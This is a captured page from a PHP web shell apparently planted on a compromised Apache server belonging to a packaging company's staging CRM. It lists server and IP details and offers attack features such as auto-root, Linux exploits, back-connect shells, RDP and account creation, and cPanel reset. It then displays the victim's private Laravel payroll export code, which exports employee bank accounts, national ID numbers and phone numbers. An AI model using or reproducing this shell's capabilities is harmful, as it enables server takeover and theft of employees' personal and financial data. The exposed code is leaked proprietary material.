Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.110.31
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
stagingcrm.oxopackaging.com /
app /
Exports /
[ HOME SHELL ]
Name
Size
Permission
Action
AgentSaleExport.php
7.75
KB
-rw-r--r--
DailyLeadsExport.php
473
B
-rw-r--r--
DealExport.php
10.96
KB
-rw-r--r--
MarketingExport.php
11.3
KB
-rw-r--r--
MonthlyReportExport.php
2.38
KB
-rw-r--r--
OrderPNLExport.php
8.58
KB
-rw-r--r--
ProductionExport.php
8.54
KB
-rw-r--r--
ReordersExport.php
7.02
KB
-rw-r--r--
SalariesExport.php
8.01
KB
-rw-r--r--
ShippingExport.php
10.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SalariesExport.php
<?php namespace App\Exports; use App\Models\Salaries; use Maatwebsite\Excel\Concerns\FromCollection; use Illuminate\Foundation\Auth\User; use Maatwebsite\Excel\Concerns\WithMapping; use Maatwebsite\Excel\Concerns\WithHeadings; class SalariesExport implements FromCollection, WithHeadings, WithMapping { protected $deal_name; protected $id; function __construct($deal_name,$id) { $this->deal_name = $deal_name; $this->id = $id; } /** * @return \Illuminate\Support\Collection */ public function collection() { return Salaries::select('salaries.id as salary_id', 'salaries.*') ->join('users', 'salaries.user_id', '=', 'users.id') ->with(['users.designations', 'users.departments', 'users.banks']) // Eager load relationships ->where('salary_detail_id',$this->id)->where('users.status', 'active') ->groupBy('users.id') ->get() ->sortBy(function($salary) { return $salary->users->departments->name??''; // Replace 'name' with the actual column name for the department }); } public function headings(): array { return [ 'ID', 'Date of Joining', 'NTN#', 'Real Name', 'CRM Name', 'Department', 'Designation', 'Project', 'Status', 'Basic Salary', 'Kids/Eduction Allowance', 'Medical Allowance', 'Housing Allowance', 'Fuel Allowance', 'Gross Salary', 'Salary Per Day', 'Total Working Days', 'Annual Paid', 'Casual Paid', 'Sick Paid', 'Annual Paid BL', 'Casual Paid BL', 'Sick Paid BL', 'Days Not on Job', 'Working Days', 'Gross Taxable Income', 'Commission', 'Over Time ', 'Last Month Adjustment', 'KPI Incentives', 'Bonus', 'Leaves Encashment', 'Net Taxable Income', 'Income Tax', 'PF Deduction', 'Own Contribution', 'Absents', 'Late Arrivals', 'Last Month Deduction', 'Advance Salary', 'Loan', 'Tax Exemption', 'Net Paid', 'Ending Date', 'Bank Name', 'Bank Account Number', 'CNIC', 'Cell No', 'Special Leverage', ]; } /** * @var Invoice $deal */ public function map($deal): array { if ($deal->days_worked > 0) { if ($deal->users->real_name) { $realname = $deal->users->real_name; } else { $realname = $deal->users->first_name . ' ' . $deal->users->last_name; } if ($deal->users->user_status == 1) { $user_status = 'On Job'; } elseif ($deal->users->user_status == 2) { $user_status = 'Resign'; } elseif ($deal->users->user_status == 3) { $user_status = 'Terminate'; } elseif ($deal->users->user_status == 4) { $user_status = 'Black Listed'; } $nwd = 30 - $deal->days_worked; $nwds = $nwd * round($deal->salary_per_day); $net_pay = round(str_replace(',', '', $deal->gross_salary) + (float) $deal->commission + (float) $deal->over_time + (float) $deal->special_leverage + (float) $deal->kpi + (float) $deal->bonus + (float) $deal->leave_encashment + (float) $deal->tax_exemption + (float) $deal->special_allowance + (float) $deal->last_month_adjustment - (float) $deal->last_month_deduction - (float) $deal->income_tax - (float) $deal->loan - (float) $deal->pf - (float) $deal->advance_salary - (float) $deal->absents - (float) $deal->late_arrivals - (float) $nwds); return [ $deal->users->user_code, $deal->users->joining_date ?? '', $deal->users->ntn_no ?? '', $realname, $deal->users->first_name . ' ' . $deal->users->last_name, $deal->users->departments->name ?? '', $deal->users->designations->name ?? '', $deal->project->project_name ?? '', $user_status, round($deal->basic_pay), is_numeric($deal->special_allowance) ? round($deal->special_allowance) : '', is_numeric($deal->medical_allowance) ? round($deal->medical_allowance) : '', is_numeric($deal->utility_allowances) ? round($deal->utility_allowances) : '', is_numeric($deal->fuel_allowance) ? round($deal->fuel_allowance) : '', $deal->gross_salary, round($deal->salary_per_day), $deal->total_working_days, $deal->annual, $deal->casual, $deal->sick, $deal->balance_annual, $deal->balance_casual, $deal->balance_sick, $deal->absents, $deal->days_worked, round((is_numeric($grossSalary = str_replace(',', '', $deal->gross_salary)) ? (float) $grossSalary : 0) - (is_numeric($medicalAllowance = str_replace(',', '', $deal->medical_allowance)) ? (float) $medicalAllowance : 0)), round($deal->commission), empty($deal->over_time) ? 0 : $deal->over_time, empty($deal->last_month_adjustment) ? 0 : $deal->last_month_adjustment, $deal->kpi, empty($deal->bonus) ? 0 : $deal->bonus, $deal->leaves_enchasment, round( (is_numeric($grossSalary = str_replace(',', '', $deal->gross_salary)) ? (float) $grossSalary : 0) - (is_numeric($medicalAllowance = str_replace(',', '', $deal->medical_allowance)) ? (float) $medicalAllowance : 0) + (is_numeric($bonus = str_replace(',', '', $deal->bonus)) ? (float) $bonus : 0) + (is_numeric($special_leverage = str_replace(',', '', $deal->special_leverage)) ? (float) $special_leverage : 0) + (is_numeric($commission = str_replace(',', '', $deal->commission)) ? (float) $commission : 0) + (is_numeric($overTime = str_replace(',', '', $deal->over_time)) ? (float) $overTime : 0) + (is_numeric($lastMonthAdjustment = str_replace(',', '', $deal->last_month_adjustment)) ? (float) $lastMonthAdjustment : 0) + (is_numeric($kpi = str_replace(',', '', $deal->kpi)) ? (float) $kpi : 0) + (is_numeric($leavesEnchasment = str_replace(',', '', $deal->leaves_enchasment)) ? (float) $leavesEnchasment : 0) ), round($deal->income_tax), round($deal->pf), round($deal->pf), round($deal->absents * $deal->salary_per_day), round($deal->late_arrivals), empty($deal->last_month_deduction) ? 0 : $deal->last_month_deduction, empty($deal->advance_salary) ? 0 : $deal->advance_salary, empty($deal->loan) ? 0 : $deal->loan, empty($deal->tax_exemption) ? 0 : $deal->tax_exemption, round($net_pay), $deal->users->ending_date, $deal->users->banks->account_title ?? '', $deal->users->banks->ibn ?? '', $deal->users->cnic_no, $deal->users->phone_no, $deal->special_leverage, ]; } // Return an empty array if the condition fails return []; } }
Close